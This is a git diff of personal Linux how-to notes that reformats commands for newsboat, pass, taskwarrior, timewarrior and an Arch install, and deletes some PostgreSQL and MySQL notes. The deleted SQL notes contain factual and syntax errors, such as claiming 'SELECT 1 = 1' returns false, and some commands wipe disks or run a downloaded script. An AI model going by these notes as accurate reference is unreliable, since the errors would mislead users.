@ -24,7 +28,9 @@ You can input a Youtube channel by adding this, with the channel's ID at the end
|
||||
|
||||
To get the channel ID without hunting:
|
||||
|
||||
> curl *'https://www.youtube.com/@1minfilms'* | grep -oE 'browseId":"U\w+"' | tail | cut -d'"' -f3
|
||||
```bash
|
||||
curl *'https://www.youtube.com/@1minfilms'* | grep -oE 'browseId":"U\w+"' | tail | cut -d'"' -f3
|
||||
```
|
||||
|
||||
You can add arbitrary commands to get an RSS feed.
|
||||
For example, to get a Gemini feed, install `gemget`, then put this in the configuration file:
|
||||
@ -58,9 +64,11 @@ Or or `,o` to open an article in w3m:
|
||||
|
||||
Add vim-like keys:
|
||||
|
||||
```
|
||||
bind-key j next
|
||||
bind-key k prev
|
||||
bind-key j down article
|
||||
bind-key k up article
|
||||
```
|
||||
> bind-key j next
|
||||
|
||||
> bind-key k prev
|
||||
|
||||
> bind-key j down article
|
||||
|
||||
> bind-key k up article
|
||||
|
||||
|
26
data/pass.md
26
data/pass.md
@ -8,21 +8,35 @@ Setup [gpg](./gpg.md) keys.
|
||||
|
||||
Show your gpg secret it:
|
||||
|
||||
> gpg --list-secret-keys
|
||||
```bash
|
||||
gpg --list-secret-keys
|
||||
```
|
||||
|
||||
Then use the id number under `sec` to make a pass repo:
|
||||
|
||||
> pass init 187233O300300814PQ793NSSS539SQ1O6O184532
|
||||
```bash
|
||||
KEY="$(gpg --list-secret-keys | grep -m 1 -A1 '^sec' | tail -n 1)"
|
||||
```
|
||||
|
||||
To add a basic password, e.g. for an encrypted tarball, use:
|
||||
```bash
|
||||
pass init $KEY
|
||||
```
|
||||
|
||||
> pass add my-tar-gar.gz
|
||||
To add a basic password, e.g. for `$WEBSITE`:
|
||||
|
||||
```bash
|
||||
pass $WEBSITE
|
||||
```
|
||||
|
||||
To insert a multiline password, e.g. with a login name:
|
||||
|
||||
> pass add -m linuxrocks.online
|
||||
```bash
|
||||
pass add -m $WEBSITE
|
||||
```
|
||||
|
||||
Remove a password:
|
||||
|
||||
> pass rm linuxrocks.online
|
||||
```bash
|
||||
pass rm $WEBSITE
|
||||
```
|
||||
|
||||
|
@ -12,10 +12,13 @@ Arch: tesseract-data-eng and poppler-utils
|
||||
|
||||
## Script
|
||||
|
||||
> pdftoppm -png *file*.pdf test
|
||||
```bash
|
||||
pdftoppm -png *file*.pdf test
|
||||
```
|
||||
|
||||
> for x in \*png; do
|
||||
> tesseract -l eng "$x" - >> *out*.txt
|
||||
> done
|
||||
```bash
|
||||
for x in \*png; do
|
||||
tesseract -l eng "$x" - >> *out*.txt
|
||||
done
|
||||
```
|
||||
|
||||
- [Example script](data/pdf-to-txt.sh)
|
||||
|
1009
data/sql/person.sql
1009
data/sql/person.sql
File diff suppressed because it is too large
Load Diff
@ -1,364 +0,0 @@
|
||||
---
|
||||
title: "postgresql"
|
||||
tags: [ "Documentation", "data" ]
|
||||
---
|
||||
# Setup
|
||||
|
||||
Install postgres and start it as a service, then start with:
|
||||
|
||||
> psql
|
||||
|
||||
## Arch setup
|
||||
|
||||
> su -l postgres
|
||||
|
||||
> initdb -D /var/lib/postgres/data
|
||||
|
||||
## Make a database as the new user postgres
|
||||
|
||||
> sudo su postgres
|
||||
|
||||
> [postgres] echo $HOME
|
||||
|
||||
> [postgres]
|
||||
|
||||
> [postgres] CREATE DATABASE dvdrental;
|
||||
|
||||
## Sample Data
|
||||
|
||||
Get sample data.
|
||||
|
||||
> wget http://www.postgresqltutorial.com/wp-content/uploads/2019/05/dvdrental.zip
|
||||
|
||||
And then get the pdf mapping the sample data:
|
||||
|
||||
> wget http://www.postgresqltutorial.com/wp-content/uploads/2018/03/printable-postgresql-sample-database-diagram.pdf
|
||||
|
||||
Unzip and load sample data:
|
||||
|
||||
> unzip dvdrental.zip
|
||||
|
||||
> sudo su postgres
|
||||
|
||||
|
||||
> [postgres] $ pg_restore -U postgres -d dvdrental dvdrental.tar
|
||||
|
||||
|
||||
> [postgres]
|
||||
|
||||
# Commands
|
||||
|
||||
## Basics
|
||||
|
||||
List available databases.
|
||||
|
||||
> \l
|
||||
|
||||
You'll see a list of available databases like:
|
||||
|
||||
`dnd`
|
||||
|
||||
`dvdrentals`
|
||||
|
||||
Then you can connect to one:
|
||||
|
||||
> \c dvdrental
|
||||
|
||||
And have a look at what tables it has:
|
||||
|
||||
> \d dvdrental
|
||||
|
||||
If it has tables such as `language`, `film_actor` and `inventory`, you can see the table's settings with:
|
||||
|
||||
> \dt film_actor
|
||||
|
||||
And pull back the entire table:
|
||||
|
||||
> SELECT * from film_actor;
|
||||
|
||||
## Various
|
||||
|
||||
Connect to 231.13.48.38 with user 'bob', port 1234, database 'X'
|
||||
|
||||
> psql -h 231.13.48.38 -p1234 -U bob X
|
||||
|
||||
# Setup Yourself
|
||||
|
||||
Make database "test" and connect to it.
|
||||
|
||||
> CREATE DATABASE test;
|
||||
|
||||
> \l test
|
||||
|
||||
Delete database 'dogs':
|
||||
|
||||
> DROP DATABASE dogs;
|
||||
|
||||
Making a table has a basic form of:
|
||||
|
||||
`CREATE TABLE table_name (`
|
||||
|
||||
then [ column name ] + [data type ] ... (and possibly data constraints)
|
||||
|
||||
`)`
|
||||
|
||||
|Data Types | Meaning | Constraints |
|
||||
|:----|:----|:----|
|
||||
| BIGSERIAL | A number incrementing by one each entry | 'NOT NULL PRIMARY KEY (so it's used for relational reference) |
|
||||
| int | integer | (50) limits the table to 50, e.g. `int(50)`|
|
||||
| VARCHAR | any characters | limit, e.g.`VARCHAR(70)`|
|
||||
| TIMESTAMP | time | |
|
||||
| date | date | |
|
||||
| text | text? | |
|
||||
| tsquery | text search query | |
|
||||
| money | money | |
|
||||
| json | textual JSON data | |
|
||||
| cidr | ipv4 or 6 address | |
|
||||
| macaddr | mac address | |
|
||||
|
||||
|
||||
E.g.
|
||||
|
||||
```
|
||||
CREATE TABLE character (
|
||||
id int,
|
||||
str int(1),
|
||||
dex int(1),
|
||||
spd int(1),
|
||||
int int(1),
|
||||
wts int(1),
|
||||
cha int(1));
|
||||
|
||||
```
|
||||
|
||||
See your table:
|
||||
|
||||
> \d
|
||||
|
||||
Look at what columns you have there:
|
||||
|
||||
> \d character
|
||||
|
||||
But this allows for empty characters, so...
|
||||
|
||||
```
|
||||
|
||||
CREATE TABLE person (
|
||||
id BIGSERIAL NOT NULL PRIMARY KEY,
|
||||
first_name VARCHAR(50) NOT NULL,
|
||||
last_name VARCHAR(50) NOT NULL,
|
||||
last_name VARCHAR(50) NOT NULL,
|
||||
gender VARCHAR(7) NOT NULL,
|
||||
date_of_birth DATE NOT NULL,
|
||||
);
|
||||
|
||||
```
|
||||
|
||||
Delete with
|
||||
|
||||
> DROP TABLE person;
|
||||
|
||||
## Inserting Data
|
||||
|
||||
```
|
||||
|
||||
INSERT INTO person (
|
||||
first_name,
|
||||
last_name,
|
||||
gender,
|
||||
date_of_birth)
|
||||
VALUES ('Hugi','Smith','DWARF', date '200-01-12');
|
||||
|
||||
```
|
||||
|
||||
## Selecting Data
|
||||
You can also mass select by choosing to insert a file. Download example data [here](https://mockaroo.com/).
|
||||
|
||||
> \i /home/ghost/file.sql
|
||||
|
||||
Various querries:
|
||||
|
||||
> SELECT * FROM person;
|
||||
|
||||
> SELECT * FROM person ORDER BY id DESC;
|
||||
|
||||
> SELECT * FROM person
|
||||
|
||||
## Offset, Fetch and Limit
|
||||
|
||||
'Limit' is not official, but was accepted later:
|
||||
|
||||
> SELECT * FROM person ORDER BY country ASC LIMIT 10;
|
||||
|
||||
The official way to make a limit is 'FIRST 5 ROWS ONLY:
|
||||
|
||||
> SELECT * FROM person OFFSET 5 FETCH FIRST 5 ROWS ONLY;
|
||||
|
||||
> SELECT * FROM person where gender = 'Male' AND ( country_of_birth = 'Poland' OR country_of_birth = 'China');
|
||||
|
||||
Miss out the first 5 result with 'OFFSET 5'.
|
||||
|
||||
> SELECT p\* FROM PERSON WHERE gender = 'Female' AND country_of_birth = 'Kosovo' OFFSET 5;
|
||||
|
||||
> SELECT * FROM person OFFSET 5 FETCH FIRST 7 ROW ONLY;
|
||||
|
||||
## Advanced Selection
|
||||
|
||||
This query takes a lot of typing:
|
||||
|
||||
> SELECT * FROM person WHERE country_of_birth = 'China'
|
||||
> OR country_of_birth = 'Kosovo'
|
||||
> OR country_of_birth = 'Brazil';
|
||||
|
||||
You can write the same thing with less typing:
|
||||
|
||||
> SELECT *
|
||||
> FROM person
|
||||
> WHERE country_of_birth in ('China','Kosovo','Brazil');
|
||||
|
||||
> SELECT * FROM person
|
||||
> WHERE date_of_birth
|
||||
BETWEEN DATE '2018-04-10' AND '2019-01-01'
|
||||
> ORDER BY date_of_birth;
|
||||
|
||||
### Rough Search
|
||||
|
||||
Similar words - we can find emails ending in '.com'.
|
||||
|
||||
> SELECT * FROM person
|
||||
> WHERE email LIKE '%.com';
|
||||
|
||||
Or any gmail address:
|
||||
|
||||
> SELECT * FROM person
|
||||
> WHERE email LIKE '%@gmail.%';
|
||||
|
||||
Or particular characters, where three precede 'gmail.com' and it's case insensitive:
|
||||
|
||||
> SELECT * FROM person
|
||||
> WHERE email iLIKE '\_\_\_@gmail.com';
|
||||
|
||||
### Groups and Aggregates
|
||||
|
||||
Select all countries as a complete mess:
|
||||
|
||||
> SELECT country_of_birth FROM person;
|
||||
|
||||
Select countries with proper grouping:
|
||||
|
||||
> SELECT country_of_birth FROM person GROUP BY country_of_birth;
|
||||
|
||||
Select countries and count instances:
|
||||
|
||||
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth ORDER BY country_of_birth;
|
||||
|
||||
Also select a minimum number with 'having'. What you have must be before 'order by'.
|
||||
|
||||
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth HAVING COUNT(\*) > 5;
|
||||
|
||||
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth HAVING COUNT(\*) >= 10;
|
||||
|
||||
Other aggregates include 'max', 'min'.
|
||||
|
||||
Select most expensive car:
|
||||
|
||||
> SELECT MAX(price) FROM car;
|
||||
|
||||
> SELECT MIN(price) FROM car;
|
||||
|
||||
> SELECT AVG(price) FROM car;
|
||||
|
||||
We can stick items together for better grouping:
|
||||
|
||||
> SELECT make, model, MAX(price) FROM car GROPU BY make, model;
|
||||
|
||||
Select all fields from table 'car', and add a column containing another price, discounted to 90%, rounded to two decimal places.
|
||||
|
||||
> SELECT id,make,model,price,ROUND(price * .9, 2) from car;
|
||||
|
||||
Same thing, but take 10% of the price from the price.
|
||||
|
||||
> SELECT id,make,model,price,ROUND(price - (price * .1), 2) from car;
|
||||
|
||||
|
||||
|
||||
## Comparison
|
||||
|
||||
> SELECT 10 + 2^2;
|
||||
|
||||
> SELECT 10! * 2 - 3;
|
||||
|
||||
... et c.
|
||||
|
||||
This returns false:
|
||||
|
||||
> SELECT 1 = 1;
|
||||
|
||||
These return false:
|
||||
|
||||
> SELECT 2<1;
|
||||
|
||||
Or '1 is not equal to 1':
|
||||
|
||||
> SELECT 1<>1;
|
||||
|
||||
And with strings, 'G is not the same as g':
|
||||
|
||||
> SELECT 'G'<>'g';
|
||||
|
||||
### Car Disconts
|
||||
|
||||
You want to show the discounts on various cars. You check which columns are available and select all of them:
|
||||
|
||||
> \d car
|
||||
|
||||
> SELECT id,make,model,price FROM car;
|
||||
|
||||
## Aliases
|
||||
|
||||
You can change what a column name appears as with:
|
||||
|
||||
> select price AS original_price from car;
|
||||
|
||||
# Null Values
|
||||
|
||||
## Coalesce
|
||||
|
||||
You can input a series of entries, requesting the first one which is present. Here we input three entries which are 'null', and a third which is '2', so '2' is selected:
|
||||
|
||||
> SELECT COALESCE(null, null, 2) AS number;
|
||||
|
||||
When selecting column 'email' from table 'person', you can input the string 'Email not provided' if there is no email provided:
|
||||
|
||||
> SELECT COALESCE(email, 'Email not provided') from person;
|
||||
|
||||
## Nullif
|
||||
|
||||
Normally, devision by 0 produces an error:
|
||||
|
||||
> SELECT 10/ 0;
|
||||
|
||||
But 10 divided by 'null' produces only 'null', which is not an error.
|
||||
|
||||
The 'nullif' statement takes two numbers, and returns 'null' iff the numbers are the same as each other.
|
||||
|
||||
> select nullif(0,0)
|
||||
> select nullif(10,10)
|
||||
|
||||
# Date
|
||||
|
||||
Select date:
|
||||
|
||||
> SELECT NOW()::DATE;
|
||||
|
||||
> SELECT NOW()::TIME;
|
||||
|
||||
or just:
|
||||
|
||||
> SELECT NOW();
|
||||
|
||||
More [here](postgresql.org/docs/11/datatype-datetime.html).
|
||||
|
||||
|
||||
2h23m
|
||||
|
@ -1,94 +0,0 @@
|
||||
---
|
||||
title: "sql"
|
||||
tags: [ "Documentation", "data" ]
|
||||
---
|
||||
MySQL, Aurora and the Maria Database work similarly, and mostly with the same commands.
|
||||
|
||||
MySQL requires 160 Megs of disk space.
|
||||
|
||||
The ontological layers go:
|
||||
|
||||
> Database > table > record > field
|
||||
|
||||
The record is a line containing multiple fields. The table contains multiple records.
|
||||
|
||||
## Database: RPGs
|
||||
|
||||
### Table: D&D
|
||||
|
||||
#### Columns:
|
||||
|
||||
| id | name | year | edition | stars |
|
||||
|:--:|:-------------------|:-----|:--------|:------|
|
||||
| 1 | Dungeons & Dragons | 1975 | 1 | 1 |
|
||||
| 2 | Dungeons & Dragons | 1980 | 2 | 1 |
|
||||
| 3 | Advanced Dungeons & Dragons | 1985 | 1 | 1 |
|
||||
|
||||
|
||||
# Getting started
|
||||
|
||||
> sudo apt-get install mysql-server
|
||||
|
||||
You'll be asked for a password.
|
||||
|
||||
Log in with:
|
||||
|
||||
> mysql -u root -p
|
||||
|
||||
The -u requests a user, while -p tells it to prompt for a password.
|
||||
|
||||
List all databases:
|
||||
|
||||
> show databases;
|
||||
|
||||
Make a new database;
|
||||
|
||||
> create database creatures;
|
||||
|
||||
Start work on the new database:
|
||||
|
||||
> use creatures;
|
||||
|
||||
> create table stats (Strength VARCHAR(2), Speed VARCHAR(2), Dexterity(2));
|
||||
|
||||
This creatures a row called 'stats' within the 'creature'table' with a number of variables, all of type VARCHAR (a variable length character string).
|
||||
|
||||
Now you can insert data (which would normally be provided by a user via php or some-such).
|
||||
|
||||
> insert into stats (Strength,Speed,Dexterity) values (-1,0,+1)
|
||||
|
||||
Now have a look at the info:
|
||||
|
||||
> select * from stats
|
||||
|
||||
The old way to delete info by selection was:
|
||||
|
||||
> delete * from stats where Charisma='0'
|
||||
|
||||
...but now it's:
|
||||
|
||||
> delete from stats where Charisma='0'
|
||||
|
||||
Update a thing:
|
||||
|
||||
> update stats
|
||||
|
||||
> set Speed='-1',Charisma='-2'
|
||||
|
||||
> where Strength=0;
|
||||
|
||||
Leaving out the specifier 'where' means you're updating the entire database.
|
||||
|
||||
Control order with
|
||||
|
||||
> SELECT * FROM stats ORDER BY Strength;
|
||||
|
||||
Or for descending order, suffix 'DESC'.
|
||||
|
||||
> select * from stats ORDER by Date DESC;
|
||||
|
||||
# Resources
|
||||
|
||||
Try more at [w3schools](http://www.w3schools.com/sql/sql_groupby.asp).
|
||||
|
||||
|
@ -5,95 +5,137 @@ tags: [ "Documentation", "Organization" ]
|
||||
|
||||
Set up the configuration file:
|
||||
|
||||
> task
|
||||
```bash
|
||||
task
|
||||
```
|
||||
|
||||
Add a task:
|
||||
|
||||
> task add *update linux*
|
||||
```bash
|
||||
task add update linux
|
||||
```
|
||||
|
||||
See which task is next:
|
||||
|
||||
> task next
|
||||
```bash
|
||||
task next
|
||||
```
|
||||
|
||||
Note the id number.
|
||||
|
||||
Mark a task as started:
|
||||
|
||||
> task start *1*
|
||||
```bash
|
||||
task start 1
|
||||
```
|
||||
|
||||
Once finished:
|
||||
|
||||
> task *1 done*
|
||||
```bash
|
||||
task 1 done
|
||||
```
|
||||
|
||||
# Projects
|
||||
|
||||
Add a project:
|
||||
|
||||
> task add project:*house buy potted plant*
|
||||
> task add proj:*house.repair buy screwdriver*
|
||||
> task add proj:*house.repair buy shelf brackets*
|
||||
3 task add pro:*house.paint buy white paint*
|
||||
> task add pro:*house.paint buy red paint*
|
||||
> task add pro:*house.paint buy black paint*
|
||||
> task add pro:*house.paint buy brushes*
|
||||
```bash
|
||||
task add project:house buy potted plant
|
||||
task add proj:house.repair buy screwdriver
|
||||
task add proj:house.repair buy shelf brackets
|
||||
task add pro:house.paint buy white paint
|
||||
task add pro:house.paint buy red paint
|
||||
task add pro:house.paint buy black paint
|
||||
task add pro:house.paint buy brushes
|
||||
```
|
||||
|
||||
## Summary
|
||||
|
||||
> task pro:house sum
|
||||
```bash
|
||||
task pro:house sum
|
||||
```
|
||||
|
||||
> task burndown.daily pro:house
|
||||
```bash
|
||||
task burndown.daily pro:house
|
||||
```
|
||||
|
||||
The summaries will show how fast a project is being completed, and when you can expect it to finish at the present rate.
|
||||
|
||||
# Tags
|
||||
|
||||
> task add +buy toothbrush
|
||||
```bash
|
||||
task add +buy toothbrush
|
||||
```
|
||||
|
||||
You can then see only tasks which involve buying something with:
|
||||
|
||||
> task +buy
|
||||
```bash
|
||||
task +buy
|
||||
```
|
||||
|
||||
# Contexts
|
||||
|
||||
Set three contexts by their tags:
|
||||
|
||||
> task context define *work +sa or +hr*
|
||||
```bash
|
||||
task context define work +sa or +hr
|
||||
```
|
||||
|
||||
> task context define *study +ed or +void or +rat*
|
||||
```bash
|
||||
task context define study +ed or +void or +rat
|
||||
```
|
||||
|
||||
> task context define *home -sa -hr -ed -void -rat*
|
||||
```bash
|
||||
task context define home -sa -hr -ed -void -rat
|
||||
```
|
||||
|
||||
Change to the first context.
|
||||
|
||||
> task context *work*
|
||||
```bash
|
||||
task context work
|
||||
```
|
||||
|
||||
Then stop.
|
||||
|
||||
> task context none
|
||||
```bash
|
||||
task context none
|
||||
```
|
||||
|
||||
# Review
|
||||
|
||||
View list of tasks completed in the last week:
|
||||
|
||||
> task end.after:today-1wk completed
|
||||
```bash
|
||||
task end.after:today-1wk completed
|
||||
```
|
||||
|
||||
# User Defined Attributes
|
||||
|
||||
Make a UDA 'size'.
|
||||
|
||||
> task config uda.size.type string
|
||||
```bash
|
||||
task config uda.size.type string
|
||||
```
|
||||
|
||||
> task config uda.size.label Size
|
||||
```bash
|
||||
task config uda.size.label Size
|
||||
```
|
||||
|
||||
> task config uda.size.values large,medium,small
|
||||
```bash
|
||||
task config uda.size.values large,medium,small
|
||||
```
|
||||
|
||||
> uda.size.default=medium
|
||||
```bash
|
||||
uda.size.default=medium
|
||||
```
|
||||
|
||||
# Tricks
|
||||
|
||||
This command shows tasks I'm most interested in:
|
||||
|
||||
> task next +ACTIVE or +OVERDUE or due:today or scheduled:today or pri:H
|
||||
```bash
|
||||
task next +ACTIVE or +OVERDUE or due:today or scheduled:today or pri:H
|
||||
```
|
||||
|
||||
The command is long, so `alias` is your friend.
|
||||
|
||||
|
@ -6,76 +6,88 @@ tags: [ "Documentation", "Data" ]
|
||||
|
||||
Try:
|
||||
|
||||
> timew summary :yesterday
|
||||
```bash
|
||||
timew summary :yesterday
|
||||
```
|
||||
|
||||
You can also use :week, :lastweek, :month, :quarter, :year, or a range such as:
|
||||
|
||||
> timew summary today to tomorrow
|
||||
|
||||
> timew today - tomorrow
|
||||
|
||||
> 2018-10-15T06:00 - 2018-10-17T06:00
|
||||
```bash
|
||||
timew summary today to tomorrow
|
||||
timew today - tomorrow
|
||||
2018-10-15T06:00 - 2018-10-17T06:00
|
||||
```
|
||||
|
||||
Each of these can gain with the :ids tag.
|
||||
|
||||
# Basics
|
||||
|
||||
> timew start
|
||||
|
||||
> timew stop
|
||||
|
||||
> timew continue
|
||||
|
||||
> timew summary
|
||||
|
||||
> timew tags
|
||||
```bash
|
||||
timew start
|
||||
timew stop
|
||||
timew continue
|
||||
timew summary
|
||||
timew tags
|
||||
```
|
||||
|
||||
And add ids with:
|
||||
|
||||
> timew summary :ids
|
||||
|
||||
|
||||
> timew track 10am - 1pm timewarrior
|
||||
|
||||
> timew track 1pm for 2h walk
|
||||
```bash
|
||||
timew summary :ids
|
||||
timew track 10am - 1pm timewarrior
|
||||
timew track 1pm for 2h walk
|
||||
```
|
||||
|
||||
# Adjusting Timewarrior
|
||||
|
||||
First get ids.
|
||||
|
||||
> timew summary :ids
|
||||
```bash
|
||||
timew summary :ids
|
||||
```
|
||||
|
||||
Then if we're looking at task @2:
|
||||
|
||||
> timew move @2 12:00
|
||||
```bash
|
||||
timew move @2 12:00
|
||||
timew lengthen @2 3mins
|
||||
```
|
||||
|
||||
> timew lengthen @2 3mins
|
||||
|
||||
> time shorten @2 40mins
|
||||
```bash
|
||||
time shorten @2 40mins
|
||||
```
|
||||
|
||||
# Forgetting
|
||||
|
||||
> timew start 1h ago @4
|
||||
```bash
|
||||
timew start 1h ago @4
|
||||
```
|
||||
|
||||
Or if your action actually had a break:
|
||||
|
||||
> timew split @8
|
||||
```bash
|
||||
timew split @8
|
||||
```
|
||||
|
||||
Or maybe not?
|
||||
|
||||
> timew join @4 @8
|
||||
|
||||
> timew @8 delete
|
||||
```bash
|
||||
timew join @4 @8
|
||||
timew @8 delete
|
||||
```
|
||||
|
||||
Start at previous time
|
||||
|
||||
> timew start 3pm 'Read chapter 12'
|
||||
|
||||
> timew start 90mins ago 'Read chapter 12'
|
||||
```bash
|
||||
timew start 3pm 'Read chapter 12'
|
||||
timew start 90mins ago 'Read chapter 12'
|
||||
```
|
||||
|
||||
Cancel currently tracked time.
|
||||
|
||||
> timew cancel
|
||||
```bash
|
||||
timew cancel
|
||||
```
|
||||
|
||||
# Backdated tracking
|
||||
|
||||
@ -129,25 +141,29 @@ task end.after:today-1wk completed
|
||||
|
||||
Replace
|
||||
|
||||
`os.system('timew start ' + combined + ' :yes')`
|
||||
> os.system('timew start ' + combined + ' :yes')
|
||||
|
||||
with:
|
||||
|
||||
`os.system('timew start ' + combined.decode() + ' :yes')`
|
||||
> os.system('timew start ' + combined.decode() + ' :yes')
|
||||
|
||||
and
|
||||
|
||||
`os.system('timew stop ' + combined + ' :yes')`
|
||||
> os.system('timew stop ' + combined + ' :yes')
|
||||
|
||||
with:
|
||||
|
||||
`os.system('timew stop ' + combined.decode() + ' :yes')`
|
||||
> os.system('timew stop ' + combined.decode() + ' :yes')
|
||||
|
||||
# Fixing Errors
|
||||
|
||||
> curl -O https://taskwarrior.org/download/timew-dbcorrection.py
|
||||
```bash
|
||||
curl -O https://taskwarrior.org/download/timew-dbcorrection.py
|
||||
```
|
||||
|
||||
> python timew-dbcorrections.py
|
||||
```bash
|
||||
python timew-dbcorrections.py
|
||||
```
|
||||
|
||||
# Setup
|
||||
|
||||
|
@ -4,7 +4,9 @@ tags: [ "Documentation", "browsers" ]
|
||||
---
|
||||
Open a search tab:
|
||||
|
||||
> w3m ddg.gg
|
||||
```bash
|
||||
w3m ddg.gg
|
||||
```
|
||||
|
||||
<Tab> then enter to start typing.
|
||||
|
||||
|
@ -7,7 +7,9 @@ tags: [ "Documentation", "Distros", "Arch" ]
|
||||
|
||||
Edit `/etc/systemd/system/getty@tty1.service.d/override.conf` by typing:
|
||||
|
||||
> sudo systemctl edit getty@tty1
|
||||
```bash
|
||||
sudo systemctl edit getty@tty1
|
||||
```
|
||||
|
||||
The put in the following, changing `[ USER ]` to your username.
|
||||
|
||||
|
@ -4,94 +4,150 @@ tags: [ "Documentation", "arch" ]
|
||||
---
|
||||
Keyboard layout changed.
|
||||
|
||||
> ls /usr/share/kbd/keymaps/**/*.map.gz
|
||||
```bash
|
||||
ls /usr/share/kbd/keymaps/**/*.map.gz
|
||||
```
|
||||
|
||||
> loadkeys uk.map.gz
|
||||
```bash
|
||||
loadkeys uk.map.gz
|
||||
```
|
||||
|
||||
Check if boot mode is UEFI
|
||||
|
||||
> ls /sys/firmware/efi/efivars
|
||||
```bash
|
||||
ls /sys/firmware/efi/efivars
|
||||
```
|
||||
|
||||
Without efivars, the system must boot with BIOS.
|
||||
|
||||
# Check network's up
|
||||
|
||||
> ping archlinux.org
|
||||
```bash
|
||||
ping archlinux.org
|
||||
```
|
||||
|
||||
Set system clock properly
|
||||
|
||||
> timedatectl set-ntp true
|
||||
```bash
|
||||
timedatectl set-ntp true
|
||||
```
|
||||
|
||||
Check disks
|
||||
|
||||
> lsblk
|
||||
```bash
|
||||
lsblk
|
||||
```
|
||||
|
||||
Make partition
|
||||
|
||||
> parted -s /dev/sda mklabel gpt
|
||||
```bash
|
||||
parted -s /dev/sda mklabel gpt
|
||||
```
|
||||
|
||||
> parted -s /dev/sda mklabel msdos
|
||||
```bash
|
||||
parted -s /dev/sda mklabel msdos
|
||||
```
|
||||
|
||||
> parted -s /dev/sda mkpart primary ext4 512 100%
|
||||
```bash
|
||||
parted -s /dev/sda mkpart primary ext4 512 100%
|
||||
```
|
||||
|
||||
> parted -s /dev/sda set 1 boot on
|
||||
```bash
|
||||
parted -s /dev/sda set 1 boot on
|
||||
```
|
||||
|
||||
> mkfs.ext4 /dev/sda1
|
||||
```bash
|
||||
mkfs.ext4 /dev/sda1
|
||||
```
|
||||
|
||||
Use pacstrap to get the base install.
|
||||
|
||||
> mount /dev/sda1 /mnt/
|
||||
```bash
|
||||
mount /dev/sda1 /mnt/
|
||||
```
|
||||
|
||||
> pacstrap /mnt base base-devel vim linux linux-firmware
|
||||
```bash
|
||||
pacstrap /mnt base base-devel vim linux linux-firmware
|
||||
```
|
||||
|
||||
Make fstab notes for new system.
|
||||
|
||||
> genfstab -U /mnt >> /mnt/etc/fstab
|
||||
```bash
|
||||
genfstab -U /mnt >> /mnt/etc/fstab
|
||||
```
|
||||
|
||||
> arch-chroot /mnt
|
||||
```bash
|
||||
arch-chroot /mnt
|
||||
```
|
||||
|
||||
> echo 'en_GB.UTF-8' > /etc/default/locale
|
||||
```bash
|
||||
echo 'en_GB.UTF-8' > /etc/default/locale
|
||||
```
|
||||
|
||||
> pacman -Sy networkmanager grub
|
||||
```bash
|
||||
pacman -Sy networkmanager grub
|
||||
```
|
||||
|
||||
For legacy:
|
||||
|
||||
> grub-install --target=i386-pc /dev/sda
|
||||
```bash
|
||||
grub-install --target=i386-pc /dev/sda
|
||||
```
|
||||
|
||||
For EFI:
|
||||
|
||||
> sudo pacman -S efibootmgr
|
||||
```bash
|
||||
sudo pacman -S efibootmgr
|
||||
```
|
||||
|
||||
> mkdir /boot/efi
|
||||
```bash
|
||||
mkdir /boot/efi
|
||||
```
|
||||
|
||||
> grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=GRUB --remmovable
|
||||
```bash
|
||||
grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=GRUB --remmovable
|
||||
```
|
||||
|
||||
> grub-mkconfig -o /boot/grub/grub.cfg
|
||||
```bash
|
||||
grub-mkconfig -o /boot/grub/grub.cfg
|
||||
```
|
||||
|
||||
set local time
|
||||
|
||||
> ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
|
||||
```bash
|
||||
ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
|
||||
```
|
||||
|
||||
Find the desired locale's and uncomment them.
|
||||
|
||||
> vi /etc/locale.gen
|
||||
```bash
|
||||
vi /etc/locale.gen
|
||||
```
|
||||
|
||||
> locale-gen
|
||||
```bash
|
||||
locale-gen
|
||||
```
|
||||
|
||||
Make your keyboard changes permenent with:
|
||||
|
||||
> vi /etc/vconsole.conf
|
||||
```bash
|
||||
vi /etc/vconsole.conf
|
||||
```
|
||||
|
||||
Then set: `KEYMAP=uk.map.gz`
|
||||
unsure about this bit - is this name just for the loadkeys function?
|
||||
|
||||
Make a hostname
|
||||
|
||||
> echo pc > /etc/hostname
|
||||
```bash
|
||||
echo pc > /etc/hostname
|
||||
```
|
||||
|
||||
Set hostnames for network, or at least your own.
|
||||
|
||||
> vi /etc/hosts
|
||||
```bash
|
||||
vi /etc/hosts
|
||||
```
|
||||
|
||||
# This should have the following, at least:
|
||||
|
||||
@ -103,17 +159,27 @@ If the system has a permanent IP address, it should be used instead of localhost
|
||||
|
||||
Ping some sites to make sure the network's working
|
||||
|
||||
> passwd
|
||||
```bash
|
||||
passwd
|
||||
```
|
||||
|
||||
> exit
|
||||
```bash
|
||||
exit
|
||||
```
|
||||
|
||||
> umount -R /mnt
|
||||
```bash
|
||||
umount -R /mnt
|
||||
```
|
||||
|
||||
Remove that awful beep sound:
|
||||
|
||||
> rmmod pcspkr
|
||||
```bash
|
||||
rmmod pcspkr
|
||||
```
|
||||
|
||||
...and make the change permanent:
|
||||
|
||||
> sudo echo "blacklist pcspkr" >> /etc/modprobe.d/nobeep.conf
|
||||
```bash
|
||||
sudo echo "blacklist pcspkr" >> /etc/modprobe.d/nobeep.conf
|
||||
```
|
||||
|
||||
|
@ -1,98 +0,0 @@
|
||||
---
|
||||
title: "encrypted"
|
||||
tags: [ "Documentation", "distros" ]
|
||||
---
|
||||
> # taken from https://0x00sec.org/t/arch-linux-with-lvm-on-luks-dm-crypt-disk-encryption-installation-guide-legacy-bios-system/1479
|
||||
|
||||
> # if you need wifi
|
||||
|
||||
> wifi-menu
|
||||
|
||||
> timedatectl set-ntp true
|
||||
|
||||
> fdisk -l
|
||||
|
||||
> parted /dev/sda
|
||||
|
||||
> (parted) mklabel msdos
|
||||
|
||||
> (parted) mkpart primary ext2 1MB 512MB
|
||||
|
||||
> (parted) mkpart primary ext4 512MB 100%
|
||||
|
||||
> (parted) print
|
||||
|
||||
> (parted) set 1 boot on
|
||||
|
||||
> (parted) quit
|
||||
|
||||
> fdisk -l
|
||||
|
||||
> cryptsetup luksFormat /dev/sda2
|
||||
|
||||
> # make a name. Here I use "crypt".
|
||||
|
||||
cryptsetup open /dev/sda2 crypt
|
||||
|
||||
> pvcreate /dev/mapper/crypt
|
||||
|
||||
> # now a group name - "usb"
|
||||
|
||||
